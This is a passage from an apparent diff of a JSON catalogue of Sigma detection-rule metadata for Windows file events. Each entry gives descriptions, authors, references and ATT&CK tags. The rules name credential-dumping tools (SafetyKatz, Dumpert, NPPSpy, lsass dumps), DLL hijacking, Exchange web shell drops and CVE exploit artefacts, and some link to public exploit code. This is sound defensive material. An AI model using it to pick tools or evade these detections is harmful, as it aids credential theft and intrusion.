"tags": [ - "attack.discovery", - "attack.t1087.001", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.001", - "attack.t1069.002", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab", - "value": "BloodHound Collection Files" - }, - { - "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/12", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_crackmapexec_patterns.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml", - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489", - "value": "CrackMapExec File Creation Patterns" - }, - { - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/29", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_creation_new_shim_database.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ] - }, - "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947", - "value": "New Shim Database Created in the Default Directory" - }, - { - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/29", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_creation_scr_binary_file.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.002" - ] - }, - "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8", - "value": "Suspicious Screensaver Binary File Creation" - }, - { - "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", - "meta": { - "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali", - "creation_date": "2020/05/26", - "falsepositive": [ - "System processes copied outside their default folders for testing purposes", - "Third party software naming their software with the same names as the processes mentioned here" - ], - "filename": "file_event_win_creation_system_file.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d", - "value": "Files With System Process Name In Unsuspected Locations" - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_creation_unquoted_service_path.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ] - }, - "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9", - "value": "Creation Exe for Service with Unquoted Path" - }, - { - "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/11/01", - "falsepositive": [ - "Legitimate Administrator using tool for password recovery" - ], - "filename": "file_event_win_cred_dump_tools_dropped_files.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.003", - "attack.t1003.004", - "attack.t1003.005" - ] - }, - "uuid": "8fbf3271-1ef6-4e94-8210-03c2317947f6", - "value": "Cred Dump Tools Dropped Files" - }, - { - "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", - "meta": { - "author": "Tim Shelton", - "creation_date": "2022/01/10", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_cscript_wscript_dropper.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml" - ], - "tags": "No established tags" - }, - "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127", - "value": "WScript or CScript Dropper" - }, - { - "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/09", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_csharp_compile_artefact.yml", - "level": "low", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.004" - ] - }, - "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0", - "value": "Dynamic C Sharp Compile Artefact" - }, - { - "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/06/29", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_cve_2021_1675_printspooler.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/cube0x0/CVE-2021-1675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml", - "https://github.com/afwu/PrintNightmare", - "https://github.com/hhlxf/PrintNightmare" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.resource_development", - "attack.t1587", - "cve.2021.1675" - ] - }, - "uuid": "2131cfb3-8c12-45e8-8fa0-31f5924e9f07", - "value": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern" - }, - { - "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for \ncreation of non-standard files on disk by Exchange Server’s Unified Messaging service\nwhich could indicate dropping web shells or other malicious content\n", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/03/03", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_cve_2021_26858_msexchange.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_26858_msexchange.yml" - ], - "tags": [ - "attack.t1203", - "attack.execution", - "cve.2021.26858" - ] - }, - "uuid": "b06335b3-55ac-4b41-937e-16b7f5d57dfd", - "value": "CVE-2021-26858 Exchange Exploitation" - }, - { - "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/07/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1566", - "attack.t1203", - "cve.2021.33771", - "cve.2021.31979" - ] - }, - "uuid": "ad7085ac-92e4-4b76-8ce2-276d2c0e68ef", - "value": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum" - }, - { - "description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/22", - "falsepositive": [ - "Unknown", - "Possibly some Microsoft Edge upgrades" - ], - "filename": "file_event_win_cve_2021_41379_msi_lpe.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/klinix5/InstallerFileTakeOver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "3be82d5d-09fe-4d6a-a275-0d40d234d324", - "value": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event" - }, - { - "description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/06", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_cve_2021_44077_poc_default_files.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", - "https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_44077_poc_default_files.yml" - ], - "tags": [ - "attack.execution", - "cve.2021.44077" - ] - }, - "uuid": "7b501acf-fa98-4272-aa39-194f82edc8a3", - "value": "CVE-2021-44077 POC Default Dropped File" - }, - { - "description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/13", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_cve_2022_24527_lpe.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml", - "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1059.001", - "cve.2022.24527" - ] - }, - "uuid": "e0a41412-c69a-446f-8e6e-0e6d7483dad7", - "value": "CVE-2022-24527 Microsoft Connected Cache LPE" - }, - { - "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", - "meta": { - "author": "Subhash Popuri (@pbssubhash)", - "creation_date": "2021/08/21", - "falsepositive": [ - "Any powershell script that creates bat files" - ], - "filename": "file_event_win_detect_powerup_dllhijacking.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml", - "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.001" - ] - }, - "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96", - "value": "Powerup Write Hijack DLL" - }, - { - "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_dll_sideloading_space_path.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml", - "https://twitter.com/cyb3rops/status/1552932770464292864", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", - "value": "DLL Search Order Hijackig Via Additional Space in Path" - }, - { - "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_error_handler_cmd_persistence.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml", - "https://github.com/last-byte/PersistenceSniper", - "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "15904280-565c-4b73-9303-3291f964e7f9", - "value": "Persistence Via ErrorHandler.Cmd" - }, - { - "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", - "meta": { - "author": "Florian Roth (rule), MSTI (query, idea)", - "creation_date": "2022/10/01", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_exchange_webshell_drop.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", - "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml", - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6", - "value": "Suspicious ASPX File Drop by Exchange" - }, - { - "description": "Detects suspicious file type dropped by an Exchange component in IIS", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/10/04", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_exchange_webshell_drop_suspicious.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml", - "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html" - ], - "tags": [ - "attack.persistence", - "attack.t1190", - "attack.initial_access", - "attack.t1505.003" - ] - }, - "uuid": "6b269392-9eba-40b5-acb6-55c882b20ba6", - "value": "Suspicious File Drop by Exchange" - }, - { - "description": "Detects default lsass dump filename from SafetyKatz", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/07/24", - "falsepositive": [ - "Rare legitimate files with similar filename structure" - ], - "filename": "file_event_win_ghostpack_safetykatz.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml", - "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", - "https://github.com/GhostPack/SafetyKatz" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "e074832a-eada-4fd7-94a1-10642b130e16", - "value": "SafetyKatz Default Dump Filename" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate use" - ], - "filename": "file_event_win_gotoopener_artefact.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2", - "value": "GoToAssist Temporary Installation Artefact" - }, - { - "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/02/04", - "falsepositive": [ - "Very unlikely" - ], - "filename": "file_event_win_hack_dumpert.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", - "https://github.com/outflanknl/Dumpert", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8", - "value": "Dumpert Process Dumper" - }, - { - "description": "Detects files written by the different tools that exploit HiveNightmare", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/23", - "falsepositive": [ - "Files that accidentally contain these strings" - ], - "filename": "file_event_win_hivenightmare_file_exports.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/GossiTheDog/HiveNightmare", - "https://twitter.com/cube0x0/status/1418920190759378944", - "https://github.com/WiredPulse/Invoke-HiveNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml", - "https://github.com/FireFart/hivenightmare/" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001", - "cve.2021.36934" - ] - }, - "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7", - "value": "Typical HiveNightmare SAM File Export" - }, - { - "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/29", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_hktl_nppspy.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml", - "https://twitter.com/0gtweet/status/1465282548494487554", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy" - ], - "tags": [ - "attack.credential_access" - ] - }, - "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", - "value": "NPPSpy Hacktool Usage" - }, - { - "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/21", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml", - "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0" - ], - "tags": [ - "attack.t1566", - "attack.t1566.001", - "attack.initial_access", - "attack.t1574", - "attack.t1574.001", - "attack.defense_evasion" - ] - }, - "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c", - "value": "Potential Initial Access via DLL Search Order Hijacking" - }, - { - "description": "TeamViewer_Desktop.exe is create during install", - "meta": { - "author": "frack113", - "creation_date": "2022/01/28", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_install_teamviewer_desktop.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "9711de76-5d4f-4c50-a94f-21e4e8f8384d", - "value": "Installation of TeamViewer Desktop" - }, - { - "description": "Detects the presence and execution of Inveigh via dropped artefacts", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_inveigh_artefacts.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml", - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449", - "value": "Inveigh Execution Artefacts" - }, - { - "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (“iphlpapi.dll”) is sideloaded\n", - "meta": { - "author": "frack113", - "creation_date": "2022/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_iphlpapi_dll_sideloading.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163", - "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder" - }, - { - "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", - "meta": { - "author": "@sam0x90", - "creation_date": "2022/07/30", - "falsepositive": [ - "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" - ], - "filename": "file_event_win_iso_file_mount.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Sam0x90/status/1552011547974696960", - "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb", - "value": "ISO File Created Within Temp Folders" - }, - { - "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/11", - "falsepositive": [ - "Cases in which a user mounts an image file for legitimate reasons" - ], - "filename": "file_event_win_iso_file_recent.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", - "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore" - ], - "tags": "No established tags" - }, - "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b", - "value": "ISO or Image Mount Indicator in Recent Files" - }, - { - "description": "Detects programs on a Windows system that should not write an archive to disk", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/08/21", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_legitimate_app_dropping_archive.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_archive.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26", - "value": "Legitimate Application Dropped Archive" - }, - { - "description": "Detects programs on a Windows system that should not write executables to disk", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/08/21", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_legitimate_app_dropping_exe.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml", - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc", - "value": "Legitimate Application Dropped Executable" - }, - { - "description": "Detects programs on a Windows system that should not write scripts to disk", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/08/21", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_legitimate_app_dropping_script.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_script.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "7d604714-e071-49ff-8726-edeb95a70679", - "value": "Legitimate Application Dropped Script" - }, - { - "description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/15", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_lsass_dump.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ 